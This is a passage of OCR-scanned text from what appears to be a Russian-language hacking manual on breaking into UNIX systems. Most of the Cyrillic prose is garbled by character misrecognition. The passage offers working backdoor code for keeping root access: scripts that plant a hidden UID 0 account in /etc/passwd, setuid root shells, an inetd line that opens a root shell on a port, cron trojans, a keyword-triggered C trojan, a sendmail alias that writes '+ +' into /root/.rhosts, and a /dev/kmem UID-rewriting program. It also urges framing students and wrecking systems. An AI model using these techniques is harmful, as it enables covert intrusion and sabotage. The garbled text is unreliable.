Takum ob6pazom, VI.LOGIN Oymer BKIIOYaTh B Ce0SI TOJBKO OIHY
eIMHCTBEHHYI0 KoMaHIy. OHa cpabaThIBaeT aBTOMaTUYECKHU: KaK TOJBbKO 3TOT
TOJIH30BaTE b TIOTILITAETCSI BOUTH B CUCTEMY, BXONl B HE€ OKaXKeTCs 3a0JI0KH-
pOBaH.

Baxcno: xaxnble HECKOJIBKO THEN MPOBEPSITE B CUJIC JIX Ballle 010K~
poBaHUEC, a 6J'IOKI/IpOBaHI/Ie 0c000 3HAYMMBIX IJISI Bac IOJIb30BaTeeii MOXKHO
NPOBEPATH U YalllC.

OTta porpamma noskHa padorars noqg KOPHEM (ROOT — ums cy-
MEepIoJIb30BATENS).

AaBa 4.
Kak npuobpectu HoBoe ums

IIpennaraem eie oauvH Crocod MpUOOpPeTeHUsT IOJIb30BaTeeM He-
CKOJIbKMX UMeH U MapoJeit. CHadaa (camoe TpyaIHOe) HEeOOXOAUMO 10X IATh-
cs HayaJjla CeMecTpa M JI0CTaTh CIIMCOK UACHTU(hUKAIIMOHHBIX HOMEPOB CTY-
JIEHTOB, yYalllUXCs B IpylIax ¢ yriayojJeHHbIM u3lydyeHueM cuctembl UNIX.
OOBIYHO BTOT CIMCOK BBIBEIIMBAETCSl Ha JABEpM JAeKaHaTa WM Tae-HUOyIb
ente. JIomycTUM, 4TO 3TOT CIIMCOK BbI YK€ HAIIUIH.

Hanee, Tydiiie Bcero B caMoM HauaJjie y4eOHOTo rosia, ornpooyiTe Boki-
TU B CUCTEMY MOJ UMEHAMM HECKOJIbKUX (BO3MOXHO, 3-4) ctyneHToB. [1pen-
MOYTHUTEIbHEN TT0JIb30BaThesl [ D cTyaeHTOB caMOro HU3KOTO YPOBHSI IOCTYTIA,
TaK Kak eCJii Bbl TIOMAaeTeCh, TO MMEHHO CTYACHT IIPUMET Ha ceOs Bech ynap,
roJjiarasi, YTo OH caM cliejiaji yTo-To He Tak. CMeJio BXOAUTE B CUCTEMY, U €C-
M cTyneHT enle He 3aHuMaicsad B UNIX, To cpa3y ke BBICKOYUT 3aIlpoc Ha
BBOJ Maposisi. BeaukonernHo! Bel HE TOJIBKO MOJIyYUIn AOCTYT, HO U €111e MO-
JKeTe YCTaHOBUTH JII0001 maposik 1o cBoeMy BeIOopy! Tak mponcxoaur, moTo-
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My uTO Kadenpe nH(GOpMaTUKHU BCeraa HEKOraa MoCTaBUTh CBOMM CTYyJeHTaM
(ukcrpoBaHHbIe Mapoi. CYUTAETCS, YTO CTYICHTHI-HOBHYKH TOJKHBI CAMU
BBIOpATh cebe Maposib, HO TOTIA Kak K¢ MOXKHO Pa3IMIUTh, KTO CTYICHT, a KTO
xakep?

BeposiTHee Bcero, Bailia XaJisiBa He TIPOJIATCS U HECKOJIBKUX IHEH, TT0-
3TOMY JIy4llie BCeTo OYy/ET, €CJIK Bbl BOCIIOJIb3YeTeCh CUTyallueil 1 OTOPBETECH
T10 TIOJTHOM TIpoTpaMMe, pa3pylianTe TaM Bce, YTO MOXKHO pa3pyiinTb. Kpome
TOTO, Bbl MOXETe OJIOKMPOBATH JAOCTYN BCEMY KOMITBIOTEPHOMY KJlaccy!

Ecnu y Bac 6oraThlii onbIT pabOThl Ha KOMITBIOTEPE U BBl yMeeTe B3J1a-
MBIBaTh Mapou B ¢aitie PASSWRDS, To MoxeTe MoJyduTh Hapoib CyIep-
noub3oBaTensa (SU) u Torma yX pa3BiieKaThCs Ha MOJHYIO KaTyIIKy!

BennkonernHo. Bel mpo6butn B cucteme UNIX Bclo HOYB, TIBITAsICh BO-
IUIOTUTD B XKM3Hb BCE WJIEM, KOTOPBIE TOJILKO MPUIILIM BaM Ha yM. Cuctema
BaM yXe Kaxercs TeCHON. M BBITJISIAUT MPOCTO CIMYeYHbIM KOpoOkoM. Cuc-
TeMa Ha caMoM JieJie TecHa. Bbl ucnpoboBaiu Bce, YTO MOXKHO UCIIPOOOBATD.
[Taposu no yMoa4aHu1o, NapoJjiu, KOTopble Bbl packpbuin, nedektsl NIS, nbi-
pbl NFS, «kpuBbie» pazpeliieHus K (aiiaaM 1 yCI0BUSI MapIIpyTU3aluu, 11y~
touku co SUID, ommbkm B Sendmail u tak nanee. Bee. [Torogure! A 310 4TO
Takoe? «#»? HakoHel-Taku!

Ilocne, xak Ka3anoch, OECKOHEYHOTO TSIXEJIOro Tpyda BaM B KOHIIE
KOHIIOB yJajaoch B3oMath root. M uro xe teneps? UTo Bel Oyaere jaenarsh C
9TOIl OECIEHHOM IIPUBWICTHEH CYIIEPIIOIb30BaTelsl, paayl KOTOPOH MpH-
IIIJIOCh CTOJILKO MOTPYAUTHCS?

AnaBa 5.
Kak yaep>XatbCcsa Ha ypoBHe root

B >T0i1 r1aBe onuchIBaeTCs, Kak YAEp2KaTbCsd Ha YPOBHEC KOPHS, 1 OHa
6YZ[CT ITOJIE3HA KaK JJIsl XakKe€poB, TaK U JJIA aIMUHUCTPATOPOB.

Ilpedynpexucdenue: BriicHUTE pacIiOOXEHHUE TJIABHBIX CUCTEMHBIX
(aitoB. DTO BaM HeOOXOAMMO (€CJIM BbI HE MOXKETe BCIIOMHUTH XOTST ObI He-
KOTOPBIE U3 HUX, TTPEKPATUTE UTCHHE TaHHOM IJIaBbl, MOJIUCTATe KHUTY O CH-
creMe UNIX u nociie aToro Bo3BpaiiiaiTech K Ham).

O3HakoMbTech ¢ dopmaTamu daiiioB passwrd (BKIroYas OOBIYHBIX
7 dopMaToB, CUCTEMY CHELIMAJbHBIX UMEH, MEXaHU3Mbl 3aT€HEHUS U T.1.).
IToyuraiite o vi. Co3gaTesiy OOJBIIMHCTBA CUCTEM HE CTOJIb APYXKETIO0HO Ha-
CTPOEHBI MO OTHOLIEHHUIO K IOoJib30BaTeno, Kak coszmarenu UNIX Iluko u
OMakc. Vi BaM IIOMOXeT ObICTPO HAUTU U IIPY HEOOXOAUMOCTU OTPEAaKTUPO-
BaTb OYeHb 00JIbIIOM (aiti. Eciu Bbl moacoeanHsIeTeCh K CUCTEME TUCTaHIIM -
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oHHoO (dial-up\telnet\rlogin\whatver), To mis1 Bac TeM OoJjiee BaXXHO UMEThb
MOIIHYIO MpOrpamMMy TepMHUHaa, 00JIaJalolIyI0 BMECTUTENbHBIM OydepoMm.
OH NpUTOAMTCSI BaM B cjIydae HYXKIbI BbIpe3aTh, BCTABJISATh U KOIMPOBATh
(baitsibl ¥ BBITIOTHATD APYTHE KOMITbIOTEPHbIE MPOrPaMMBbI.

JmTeIbHOCTh 3TOTO HEJIErajJlbHOTO JIOCTYTA TMOJHOCTHIO 3aBUCUT OT
OIbITA U MACTepCTBA afMUHUCTpaTopa. OTIBITHBIN U YMEJIbIii aIMUHUCTPATOP
Oy/eT 30pKO CJIeIUTh 32 BCEMU HeJleTalbHBIMU MPOHUKHOBEHUSIMU B CUCTE-
My, a TOT (baKT, YTO BaM yAaJ0Ch TPUOOPECTU KOPEHb, TOBOPUT O TOM, UTO al-
MMHUCTPATOP ObLT HEAOCTATOYHO MPOoGeCCUOHANIEH, WU O TOM, YTO JAOCTYI
ObLIT Ha KaKOE-TO BPEeMSsI OTKPBHIT.

Bbl D0XKHBI OCO3HATH ciaeayrnmee: €CJIM Bbl CYMECTE 3aMECTU CJICAbI
B CaMOM HaydaJi€ B3JIOMa, TO Y2K€ HMKTO HEC CMOXKET BbIYUCJINTL BaC B JNaJbHEM-
HIeM.

Heckonbko 6aHaIbHOCTEI:

™

Ho6asbere UID 0 x mapouto ¢aitta. Bo3aMoXHO, 3TO OJMH U3 CaMbIX
JIETKUX CITOCOOOB COOOIIUTH AAMUHUCTPATOPY O TOM, YTO Bbl B CUCTEME.

Eciu BBI BCe Xe XOTUTE 3TO CENaTh, TO BOT BaM COBET — HE HYXHO
MPOCTO MPUITUCHIBATH ITOT KO/ K MapoJito daiiia.

JI106011 mpoBepsAIOIni MOMEHTAJIbHO 3TO 3aMeTUT. Jlydllle BIUIIUTE
€T0 MOCEPEANHE TTapOoJId...

#!/bin/csh

# Inserts a UID 0 account into the middle of the passwd file.

# There is likely a way to do this in 1/2 a line of AWK or SED.

0Oh well.
# daemon9@netcom. com
set linecount = ‘wc -1 /etc/passwd’

cd # Do this at home.

cp /etc/passwd ./temppass # Safety first.

echo passwd file has $linecount[1] lines.

@ linecount[1] /= 2

@ linecount[1] += 1 # we only want 2 temp files

echo Creating two files, $linecount[1] lines each \(or approxi-
mately that\).

split -$linecount[1] ./temppass # passwd string optional

echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh™ >>
. /xaa

cat ./xab >> ./xaa

mv ./xaa /etc/passwd
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chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xax ./temppass
echo Done. ..

Huxkorma He u3MeHsiiTe mapoib KopHs. [IpuduHbI, Tymar, BaM ode-
BHIHBI.

@

TouyHO TaKUM Xe 00pa3oM BBEOUTE B ICICTBHE TaKWe yXKe HEIPUTOMI-
HbIe aKKayHTHhI, KaK Sync. Wiu, BO3MOXHO, Ipyrue, CKphIThie B (aiiie mapo-
JIei, 3a0BbIThIe WIM OTKJIIOYEHHBIE CHCTEMHBIM aqIMUHUCTpAaTOpOM. M3MeHHTe
UID Ha 0 (1 y6epuTe «*» U3 BTOPOrO MOJIST).

(€))
ITeperonuTte 060J04Ky KOPHS B /tmp:

#!/bin/sh

# Everyone's favorite...

cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that...
chmod 4755 /tmp/.evilnaughtyshell

MHorue cucteMbl YUCTIT \tmp mo HouaM. Yamie Bcero 3To ocyuie-
CTBJIIETCS TTyTEM YHUUTOXEHUS (haiiyioB UM 3aHeceHUs uX B Oydep. Bo MmHO-
TMX CUCTeMaX YCTaHOBJICHBI TTAKETHI, TIPEAOXPAHSIIOIIME OT 3aITycKa IIporpaMm
rox SUID. Bel MoxkeTe Bce 3TO U3MEHUTD, HO JaXe €CJIU CUCTeMa MPUMET U3-
MEHEHUSI, TO OYeHb MHOTHE MOTYT BCE XK€ 3TO 3aMETUTh... Bripouem, 310 yxke
IIpyroii Boripoc. Mbl He CTaHEM YTOYHSTh IMapaMeTpbl HEOOXOIMMbBIX U3MEHE-
HUI, TaK KaK OHU MOTYT BapbUpPOBAThCs HA pa3HBIX CUCTEMaX.

@

CHCTeMHBII aIMMHUCTPATOP HE CTAHET MEPBBIM XK€ JCJIOM 3ariIsiIbl-
BaTh B KOHOUTYpallMOHHBIN (aiil XocTa, Tak MmoyemMy Obl HE 3arpy3uTh ITOT
JIEMOH Tyaa?

Jns Hauyana HeMmHoro oOueir mHdopmanuu: Internet-memoH (\etc\
inetd\) mpuHMMaeT 3anpocsl o cBsizu ¢ nopramu TCP u UDP u nepe6packisa-
eT HYXXHYIO TIPOTpaMMy COTJIAaCHO MOCTymuBIIeMy 3arpocy. @opmat daitna
\etc\inetd.conf. mpocr.

OOBIYHBIE €70 CTPOKU BBIIVISIAAT CASAYIOIIM 00pa3oM:

(M (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root Jusr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd
ITepBoe nosie (1) — 3TO Ha3BaHUe IeMOHa, yKa3zaHHoe B \etc\services.
Orciona inetd cuuThiBaeT HUHMOPMALMIO O COOTBETCTBYIOLIEM TIOJIE
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B \etc\services 1 Iocjie 3TOro ycTaHaBIMBaeT MapaMeTpbl CBSI3aHHOTO C JaH-
HOW mporpamMMoi rnopra.

Bo BTOpOM MOJIE COmEpKUTCS MH(MOPMAIIUS O TUTIE CITY>KOBI JOCTaBKU
NIAHHBIX, HEOOXoAMMOM it naHHO# TporpaMmbl. TCP ucrnosnbs3yer stream
(6aitT-opMeHTUPOBAHHBIH MOTOK), Torna kak UDP — dgrams (ciyx06a, opu-
EHTMPOBaHHas Ha TpaH3akuM). TpeTbe nosie — noJjie mporokosioB (TCP wimn
UDP). B yetBepTOM moJjie yKa3biBaeTcs cTatyc AeMoHa. dar wait o3Havaer,
YTO JIEMOH Mepe]l MPOJOJIKEHUEM TPOCIYIIMBAHUS TIPUXOSIINX 3aTIPOCOB
BBIHYX/IEH OyJIET 0KMIaTh, TTIOKA CEPBEP OCBOOOIUT MTOPT. NOwait, B CBOIO ove-
penb, TTO3BOJISIET IEMOHY He3aMeIJTUTEIBHO TTPUCTYIATh K MPOCTYITUBAHUIO
HOBBIX 3a1pocoB. [IsToe mmone — 310 TOT Mosb3oBarenb (Wi nHoraa UID),
KOTODBIN yrpaBysieT neMoHoM. [Tojie (6) — 3T0 3amycKaromascs mpu coenu-
HEHUU Mporpamma, a moJie (7) coaep>kKuT KOMaHIbI (M JOTIOTHUTEIBHBIC apTy-
MeHThI). YacTh rporpaMm (0OBIYHO HE TPEOYIOLIUX BMEIIaTeIbCTBA TTOJIb30-
BaTesis) CepBEp MOXET mepedpachiBaTh MO CETU. DTO OCYILECTBISIETCS C
oMoIIIbio (pyiara internal B crpokax (6) u (7). Takum ob6pa3om, st TOTO, YTO-
ObI CAMOMY YCTAHOBUTD HeJIeTaTbHBIN TOCTYI K CUCTEMe, BRIOEPUTE PEIKO HC-
MOJIb3yeMYIO TIpOrpaMMy U TiepeapecyiTe CBSI3YIOIIEro IeMOHa K ITporpam-
Me, co3paromieil 06010uKky kKopHs SUID, x mporpamMmme, mpemnocTaBisionieit
KOpPHEBOIi akKayHT B (aiine \etc\passwd u Tak nanee.

B xauecTBe nmpumepa momnpoOyiiTe ciaeayoliee:
Otkpoiite \etc\inted.conf, eciu 3T0, KOHEUHO, BO3MOXKHO.

Haitnure cTpoky:

daytime stream tcp nowait root internal
U IIOMEHANTE ee Ha:

daytime stream tcp nowait /bin/sh sh -i

Teneps BHOBB oTKpotiTe \etc\inetd\ u mpocmoTrpure ¢aiin KoHbUrypa-
. CaMu penimre, Kak 3To cieaTh. Bbl MoxkeTe 3aKOHUMTh MPOLIECC U 3aIy-
ctuthb ero cHoBa (kill -9, /usr/sbin/inetd unu /usr/etc/inetd), u Takum obpa-
30M TIpEPBaTh BCE CBSA3U B CeTH (0CO00E YIOBOJIBCTBUE ClIeIaTh 3TO B Yac MUK).

6))

CBoero poma KOMITIPOMUCCHBIM BapHaHTOM MOXET CTaTh YCTaHOBKa
HOBOW IMPOTrpaMMBbI, KOTOPast CMOTJIa OBl 3aITyCKaTh JTFOOYIO IPYTYIO 110 Ballle-
My BBIOOpY. JIydIiie Bcero 3arpy3uTh He YYBCTBUTEIbHYIO K HECAHKITMOHUPO-
BaHHBIM MMOAKITIOYCHUSIM 000JIOUKY.

Bbl moXKHBI yOEmWTHCS B TOM, YTO IOCTYIT WHAWIIUPYETCS KakK
B \etc\services, Tak u B \etc\inetd.conf.
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®dopmMar \etc\services Mpocr:

(M (2)/(3) (4)

smtp 25/tcp mail

(1) — ¢dynkuus, (2) — HoMmep nopra, (3) — TUI TPOTOKOJIA, HEOOXOIU -
MBI 1151 pabOTHI IMpOorpaMmbl, (4) — HazBaHUE (DYHKIIVH.

IMonpoOyiiTe 106aBUTHL TaKyIO CTPOKY K \etc\services:
evil 22/tcp evil

U Takylo K /etc/inetd.conf:

evil stream tcp nowait /bin/sh sh -i

3arpy3ure inetd.

OG6paTuTe BHUMaHWE: TAKOI HeJleTaJbHbIi TOCTYIT B IPUHLIMIIE BEChbMa
neiictBeHeH. OH AacT BO3MOXHOCTb UCIIOJIb30BaTh HE TOJILKO JIF000I aKKAYHT
JIOKAJIbHOM CETU, HO M MPEJOCTaBUT JII0OOI aKKayHT JIloOOro KOMIIbIOTepa
¢ BbIXoa0M B Internet.

(6) Cron-TposHbil |

Cron — 9T0 3aMeyvartesibHas YyTUIUTA UISl alMUHUCTpUpoBaHus. OHa
TaKXXe MOXET OBbITb UCITOJIb30BaHa ISl TOTO, YTOOBI HeJIeTabHO BOWTH B CHC-
TeMy, eCJIi, KOHEUHO KOpHEeBoIi crontab paboTaeT ucnpaBHo. M onsTh ke He-
JIUIIIHE HAITTOMHMTb, YTO MPOAOJIKUTETbHOCTh PAOOTHI HeJIEraJbHO CO3MaHHO-
ro akkKayHTa HaXOIMUTCSI B OOpaTHOW 3aBUCUMOCTU OT OMBITHOCTU U
npodeccruoHaaIu3Ma CUCTEMHOro agMUHKUCTpaTopa. OOBIYHO CHMCOK KOPHEe-
BBIX (haiiioB crontab HaxoauTcs B /var/spool/cron/crontabs/root. 3aech y Bac
€CTb BbIOOP. MBI TIEPEYNCINM TOJBKO HEKOTOPHIE U3 BO3MOXKHBIX PEIICHUI,
TaK Kak Ha CaMOM JIeJie X KOJMYEeCTBO OIPOMHO.

cron — 3TO BpeMeHHOI 1eMOH. OH MpeCcTaBisieT CO00i YTUINUTY, Bbl-
TOJTHSTIONLYI0O KOMaH/Ibl, CBSI3aHHbBIE C JaTAMU U BPEMEHEM.

crontab — 3TO KOMaH/a, epecMaTpuBaoIasl U JOTIOJHSIONIAs Ballll
¢daiinbr crontab. YmpasasiTe crontab Tak e Jierko, Kak M peqakKTUpPOBaTh
/var/spool/crontab/root.

®daijin crontab cCOCTOUT U3 LIECTH TTOJIEHA:
(1) (2) (3) (4) (5) (6)
0 0 * * 1 /usr/bin/updatedb

IMonst ¢ 1 mo 5 o3navarot: munyta (0-59), yac (0-23), meHbp Mecsla
(1-31), mecsin roma (1-12), menp Hemenu (0-6). ITone 6 — 3T0 BIMONTHSEMAast
KoMmaHaa (WM cueHapuii 06onouku). CiieHapuii 000J0UKU U3 BhILLIENPYBE-
JMEHHOTO TpHUMepa MCIONIb3YETCsT TOJBKO IO TMOHeAeIbHuKaM. JIJist 3amycka
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cron MpocTo 106aBbTe BXOJ B /var/spool/crontab/root. Hanpumep, y Bac ecTb
3amaHue Tt Cron, KOTOPOe JODKHO €KEeTHEBHO 3aIyCKaThCsl M OTCICKUBATh
B (paitne /etc/passwd npeaBapuTeIbHO MOMEIIeHHbIHM Tyna akkayHT UID 0 u
BOCCTaHaBJIMBAaTh €ro Inocjie yaajeHus (Hersoxasi unes — BBECTU Ko 000-
JIOYKU B CIICHapUil 000JIOYKH B YK€ YCTAaHOBJICHHOM haiire crontab, TeM ca-
MBIM BBl MOXXETe Ce0sT B 3HAUMUTEJILHOM CTeTIeHN 00€30I1acuTh).

JlobaBbTe TaKyto CTpOKY B /var/spool/crontab/root:
0 0 » » = /usr/bin/trojancode
A BOT U clieHapuii 000JI0YKH:

#!/bin/csh

# Is our eviluser still on the system? Let's make sure he is.
#daemon9@netcom. com

set evilflag = ('grep eviluser /etc/passwd’)
if($#evilflag == 0) then # Is he there?
set linecount = ‘wc -1 /etc/passwd’

cd # Do this at home.

cp /etc/passwd ./temppass # Safety first.
@ linecount[1] /= 2

@ linecount[1] += 1

# we only want 2 temp files

split -$linecount[1] ./temppass

# passwd string optional

echo "EvilUser::0:0:Mr. Sinister:
/home/sweet/home:/bin/csh™ >> . /xaa

cat ./xab >> ./xaa

mv ./xaa /etc/passwd

chmod 644 /etc/passwd

# or whatever it was beforehand

rm ./xax ./temppass

echo Done. ..

else

endif

(7) Cron-TposHnil i

DTOT TPOSTH TTOTaJ B TT0JIe MOETO 3peHUs OJ1aronaps HalreMy 10poroMy
muctepy 3urnmu. s Toro, 94ToOwI ero (TposiHa) 3aIlyCTUTh, BAM HEOOXOIMMO
OTBICKAaTh CKPHITYI0 Komuio aiina etc/passwd. B atom cripstaHHOM chaiine
(HazoBeM ero /var/spool/mail/.sneaky) 3aBeneM ellie OMUH BXOJ ¢ KOPHEBBIM
aKKayHTOM M C apoJieM Ha Balll BBIoop. BBoauM 3amaHue ais cron, KOTOPBIIA,
HarpuMep, OyaeT Kaxmyio Houb B 2.30 (w1 B 1000€ Ipyroe BpeMs) coxpa-
HATh KOMUIO Hactosiero \etc\passwd aiiia 1 aKkTUBU3UPOBATh TP 3TOM
TPOSIHCKYIO BEPCHIO TAaHHOTO (haiiia CpOKOM Ha OJHY MUHYTY (CBEPBTE Yachl!).
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B 3710 Bpemst 1106011 OGBIYHBIN ITOJIB30BATENb, TOTBITABIIHIACS 3aPETUCTPUPO-
BaThCsl B CCTEME MJIM OTKPBITH (hailil TapoJist, He CMOXET 3TOTO ClesIaTh, TOT-
Jla KaK POBHO Yepe3 MUHYTY OH He BCTPETUT HUKAKUX MPETSITCTBUIA Ha CBOEM
ITyTH.

JloGaBETe 3Ty CTPOKY K KOpHEBOMY (haiiry crontab:
29 2 = = x /bin/usr/sneakysneaky_passwd
U IIPOBEpbTE:

#fecho "root:1234567890123:0:0:0perator:/:/bin/csh™ >
/var/spool/mail/. sneaky

¥ BOT OYEHb IPOCTOM CLIEHApUiA 000J0UKH:

#!/bin/csh

# Install trojan /etc/passwd file for one minute
#tdaemon9@netcom. com

cp /etc/passwd /etc/.temppass

cp /var/spool/mail/.sneaky /etc/passwd

sleep 60

mv /etc/.temppass /etc/passwd

(8) leHepUpoOBAHME KOAQ TPOSHAO

DTO OYeHb IIpOCTO. Bwmecto CLCHapus 00071049KU UCIIOJIb3YUTE Ka-
KOﬁ—HH6y,I[b C-KOZ[, M 3TO NMOMOXET BaM YCIICIIHO 3aMECTU CJICObI. Bor kak
9TO ACJIACTCAA.

Y6eauTech B TOM, 4TO Balll TPOSTH padboTtaet rmog kopHeM. HazoBure ero
Kak-HUOYyIb 6€300MIHO U XOPOIIEHBKO 3aMaCKUPYITE.

B psige ciayyaeB HeOOJBIION TPOSIH MOXeT ObITh co3naH B SUID-060-
JIOUKE MPY YCJIOBUU, YTO COOJTIOJIEHBI ONpee/ieHHbIE TapaMeTpbl. C-KoJ B Ta-
KO MOMEHT ropasio JAeiCTBeHHee, HeXeJu 000J04YKa, U MOMOraeT Jyulle
MIPSATaTh Pe3yJIbTaThI.

/* daemon9@netcom.com =/

#include

#define KEYWORD "industry3”
#tdefine BUFFERSIZE 10

int main(argc, argv)

int argc;

char =argv[];{

int 1=0;

if(argv[1]){ /+ we've got an argument, is it the keyword? =/
if(! (stremp(KEYWORD, argv[1]))){

/* 9TO yxe TpoaH =/

system(“cp /bin/csh /bin/.swp121");



B3Aaom Unix 113

system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");

}

}

/* Put your possibly system specific trojan
messages here =/

/x Let's look like we're doing something... =/
printf("Sychronizing bitmap image records.”);
/* system("ls -alR / >& /dev/null > /dev/null&"); =/
for(;i<10;i++){

fprintf(stderr,”.");

sleep(1);

}

printf("\nDone.\n");

return(0);

} /+ End main «/

(9) dana-ncespoHUM B sendmail

DTOT (haii1 1aeT BO3MOXHOCTb OTIIPABJIATH MTOUTY HA UMsI OTHOTO VITH
HECKOJIbKMX TOJIb30BaTeNIell WIIM TOIKITIOUNTRLCS K caMoi Tiporpamme. JIist
Takux (aiyioB CyIIECTBYeT OUYeHb M3BeCTHHIM TpostH uudecode. Ilpocro mo-
0aBbTE CTPOKY:

"decode: "|/usr/bin/uudecode”

B (paiin /etc/aliases. [Ipu 3TO Bam ciieayeT co3maBaTh aii uuencod-
ed.rhosts ¢ TOJTHBIM YKa3aHUEM er0 MECTOPACITOJIOXKEHNS.

#! /bin/csh

# Create our .rhosts file. Note this will output to stdout.
echo "+ +" > tmpfile

/usr/bin/uuencode tmpfile /root/.rhosts

3areM agpecyiTech K Hy>)KHOMY caitTy, mopt 25. OTnpaBbTe «JTUITOBOE»
IHCHMO, UCITOJNIB3YS Uuencode-Bepcuto daiina .rhosts. B omHolt n3 cTpok (Ha-
CTOSIIICH ) HaTleyaTaiTe Cleaylolee:

%echo "+ +" | /usr/bin/uuencode /root/.rhosts |
mail decode@target.com

U tenmepp MoxkeTe IaTh BOJIIO CBOeMYy BooOpaxkeHuto. I1puaymeiBaiite
cebe TCeBIOHUM, THUIINUTE MUChbMa KOMY XOTHTE, 3aIlyCKalTe JIIoOble Mpo-
rpaMMbl. MHOTHE M3 ONMMCAHHBIX BBIIIE METOIOB Cceilyac MOTYT HailTW cebe
TIpYMEHEHUeE.
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(10) CKkpbiITbi TPOSIH B OObIYHBIX NPOrPAMMAX

DTO He caMblii JIy4lInit METO/I, HO 3aTO €ro CJielbl MOTYT ObITh OOHAPY-
>KEHBI TOJIbKO TAKUMU TTPpOrpaMMaMu, Kak tripwire.

WMpesa npocra: BXXUBUTH TPOSTHA B HAM0OJIE€€ YaCTO U TMPOKO UCTIONb-
3yeMyio riporpammy. 15t Hac 0coOeHHO BaXKHBI MPOrpaMMBI su, login 1 pass-
wrd, Tak KaK OHU WAYT MO/l KOPHEM M K HUM He HaJIo TiepeyCTaHaBINBaTh pa3-
pemenusi. Huxke Mbl TipuBeneM HECKOJIBKO TPUMEPOB Ha pa3HbIe Cllyyau,
4yTOOBI BB TOYYBCTBOBAIM BCIO MpesiecThb B3oma cuctemMbl UNIX. (ITpumeua-
HUe: DTO He BCeTIa MPOXOIUT, TaK KaK HEKOTOPBIE IMTOCTABIIIMKY HE CTOJIL Oec-
MEeYHbI, KaK OOJBIIUHCTBO Apyrux). Eciu Kox mokaxeTrcs BaM OYeHb JJIMH-
HBIM WJIM MIPOCTO HE HPABUTCS, MBI TIpe/IjlaraeM BaM oOIIMi 111a0JI0H, 3TaKy10
0O0JIBaHKY:

Moaknwyaemcs

Ecnm nogknouuTbca He ypaeTcsd, 3anyckaem BUpYC

Ecnn Bce upeT, kak Hago, TO He OocTaHaBnMBaeMmca Ha MonnyTu
Buixogum ¢ ownbkoi

He ciaumkom TpyaHo. JlaHHBIN TUI TposiHA MOXKET BKJIIOYaTh B ceOsl
MeHee 10-Tu cTpOK TOMOJHUTEILHOTO KO/,

(11) 330TEepudecKkuit: Cnoab3osaHne \devikhem

Ceityac MBI ITOTPY3MMCS B CBSITasI CBSATHIX CUCTEMBI. Tak Kak rmapameT-
DBI SIIpa HAXOMATCS B TIAMSITU MAIlIMHBI, TO, CJIeA0BaTeIbHO, MOIUMUIIPOBA-
HHUe MMaMsITA KOMIIbIoTepa MoxKeT IpuBecTu K u3meHeHuto UID. YtoObl 310
caenaTh, yaoCToBepbTech, 4To K \dev\khem ycTaHOBIeH HOCTym ISl 4Te-
Hus/3amucu. M panee mo myHkTam: oTKpbITh \dev\khem, HaiiTy Baly cTpa-
HUYKY B maMsaTu, nepernucats UID, 3aTeM 3amycTuth csh, KOTOPBIA 1 TOMe-
et Bamr UID. Dta riporpaMma mpojaenbiBaeT Caeaylolee.

/x Ecnu \khem pocTyneH ang 4TeHWd W ANd 3anucu, TO C MOMOlbl 9TOM
nporpamMel MOXHO YCTAHOBUTb W MONb30BATENbCKWIA, W rpynnoson ID
K 0. =/

#include

#include

#include

#include

#include

#include

#include

#tdefine KEYWORD “nomenclaturel”

struct user userpage;

long address(), userlocation
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int main(argc, argv, envp) #include
int argc; #include
char =argv[], wenvp[];{ #tdefine LNULL ((LDFILE =)0)
int count, fd; long address(){
long where, lseek(); LDFILE =object;
if(argv[1]){ /* we've got an argument, is it the keyword? =/ SYMENT symbol
if (! (stremp(KEYWORD, argv[1]))){ long 1dx=0;
fd=(open("/dev/kmem", 0_RDWR); object=ldopen("/unix™, LNULL);
if(fd<0){ if(lobject){
printf("Cannot read or write to /dev/kmem\n"); fprintf(stderr, "Cannot open /unix.\n");
perror(argv); exit(50)
exit(10); }
} for(;ldtbread(object, idx, &symbol)==SUCCESS; 1dx++){
userlocation=address(); if(!stremp(”_u”, ldgetname(object, &symbol)))
where=(1seek(fd, userlocation,0); {
if(where!=userlocation){ fprintf(stdout, "User page is at 0x%8.8x\n",symbol.n_value)
printf("Cannot seek to user page\n"); ldclose(object)
perror(argv); return(symbol.n_value)
exit(20); }
} }
count=read(fd, &userpage, sizeof(struct user)); fprintf(stderr, "Cannot read symbol table in /unix.\n");
if(count!=sizeof(struct user)){ exit(60)
printf("Cannot read user page\n"); }
perror(argv)
exit(30); (12)
} C Tex mop Kak ONMMCaHHBIM BBIIIE KO Ha ocHOBe /dev/kmem ctaji 06-

printf("Current UID: %d\n",userpage.u_ruid); IIEU3BECTHBIM, YTO, ECTECTBEHHO, HAC COBEPIIICHHO HE paayeT, HaM IMOCTOSTH-
printf("Current GID: %d\n",userpage.g_ruid); HO MIPUXOAMUTCS OBITh HAUYEKY U UCITOIB30BaTh €T0 C MAKCUMAaJIbHOI OCTOPOXK-
userpage.u_ruid=0; HOCTBGIO.
userpage.u_rgid=0
where=1seek(fd, userlocation,0);
if(where!=userlocation){

printf("Cannot seek to user page\n");

perror(argv); Jlo6aBbTe 3TH CTPOKU K Ia0JOHY U3 TTyHKTA (7):

Moii BaM COBeT — HaIUIIKUTE CIIeHApHii 000JI0YKHU o obpasiy (7),
9YTOOBI Ha BpeMs (IOIYCTHM, Ha 5 MMHYT) U3MEHUTh pa3pellieHUs], YCTAHOB-
JIeHHBbIe K /dev/kmem, a 3aTeM BepHYTh MX 3HaUCHUS 00PaTHO.

ex;t(AO); chmod 666 /dev/kmem
) sleep 300 # Nap for 5 minutes
zgégigfd,&userpage,((ohar ~)8(userpage.u_procp)) ((char ~)éuser- chmod 600 /dev/kmem # Or whatever it was before
execle("/bin/csh™, " /bin/csh™, "-i", (char =)0, envp);

}
}
} /+ End main x/
#include
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AaBa 6.
AedeKkTbl B cucteme 6e30nacHoOCTU

JledexTsl B cucTeMe 0€30aCHOCTY OBIBAIOT HECKOJIBKIX BUIOB:

®dusnyeckmne pedexThbl

B aToM ciydyae mpoGsiieMa COCTOUT B BO3MOXHOCTU TIOJYYEHUsT HEJle-
TAILHOTO JOCTYNA K CUCTEME U, KaK MOCJIEICTBUS, KOMIIBIOTEPHOTO XyJIUTaH-
cTBa 1 BaHnanu3Ma. BoT Bam xopoluii mpumMep — ceTeBasi pabouasi CTaHLIMS,
